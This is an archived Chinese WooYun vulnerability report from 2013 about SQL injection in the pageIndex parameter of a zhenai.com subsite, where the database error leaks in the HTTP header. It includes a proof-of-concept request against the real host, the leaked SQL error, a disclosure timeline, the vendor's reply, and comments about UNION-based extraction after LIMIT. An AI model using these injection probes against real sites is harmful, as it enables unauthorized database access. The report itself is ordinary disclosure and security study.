破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

珍爱网某分站奇葩注入(http头)

编号42009
Urlhttp://www.wooyun.org/bug.php?action=view&id=42009
漏洞状态厂商已经确认
漏洞标题珍爱网某分站奇葩注入(http头)
漏洞类型SQL注射漏洞
厂商珍爱网
白帽子想要减肥的胖纸
提交日期2013-11-05 08:27:00
公开日期2013-12-20 08:28:00
修复时间(not set)
确认时间2013-11-05 00:00:00
Confirm Spend0
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank1
漏洞简介
太奇葩了。
漏洞细节

未对参数进行过滤带入数据库查询了。奇葩的是返回结果竟然在http头里。如果基于页面返回检查注入估计就会pass了。。
pageIndex 存在注入。
http://t.zhenai.com/common/getComments.do?callback=jQuery18309714489171747118_1383582025205&comment.moduleType=0&comment.specialType=94&pageIndex=1'

POC

GET http://t.zhenai.com/common/getComments.do?callback=jQuery18309714489171747118_1383582025205&comment.moduleType=0&comment.specialType=94&pageIndex=1'-- HTTP/1.1
Referer: http://t.zhenai.com/
Cookie: JSESSIONID=abctHORWBFeDjavUBwIiu
Host: t.zhenai.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*


响应

HTTP/1.1 500 PreparedStatementCallback; bad SQL grammar [select id,specialType,moduleType,memberId,comments,replayMemberId,supportCount,opposeCount,commentCount,createTime,top from topic_comment.Comments_94 where specialType=? and moduleType=? and parentId=? and state=1 order by top desc,commentCount desc,createTime desc limit ?,?]; nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-5,5' at line 1
Server: nginx
Date: Mon, 04 Nov 2013 17:36:22 GMT
Content-Type: text/html; charset=GBK
Transfer-Encoding: chunked
Connection: keep-alive
Content-Language: zh-CN


修复方案

状态信息 2013-11-05: 细节已通知厂商并且等待厂商处理中
2013-11-05: 厂商已经确认,细节仅向厂商公开
2013-11-15: 细节向核心白帽子及相关领域专家公开
2013-11-25: 细节向普通白帽子公开
2013-12-05: 细节向实习白帽子公开
2013-12-20: 细节向公众公开
厂商回复不算是漏洞,仅仅是struts没有设置错误流向,已经修改配置,安全无小事,谢谢肥纸。
回应信息危害等级:低漏洞Rank:1 确认时间:2013-11-05 10:03
Showing 1-10 of 10 items.
评论内容评论人点赞数评论时间

@想要减肥的胖纸 摆渡了一下。limit后面也可以 union all select 看来这里注入的可能性还是很大的!确实屏蔽错误解决不了问题。

齐迹02013-11-25 18:10:00

@齐迹 没研究~ 我是菜鸟。

想要减肥的胖纸02013-11-25 15:46:00

@想要减肥的胖纸 求limit可控 怎么搞到数据?

齐迹02013-11-25 15:39:00

@xsser 看厂商回复估计他们没从代码层面修补,只是屏蔽回显和依靠安全设备。

想要减肥的胖纸02013-11-05 15:24:00

@xsser zone里有我一个帖子 对于这种厂商以后我不会把问题地址给他们,让他们自己查去。

想要减肥的胖纸02013-11-05 15:22:00

这个厂商是不太懂安全啊 你给个错误的 不给出数据它就说这个是个错误显示的问题

xsser02013-11-05 12:22:00

奇葩的要关注涨点见识

秋风02013-11-05 10:16:00

上次看到xforward注入和clientip注入。看的我嗷嗷叫

寂寞的瘦子02013-11-05 09:38:00

奇葩的要关注涨点见识

xsser02013-11-05 09:37:00

讲出来就不奇葩了

Coody02013-11-05 08:40:00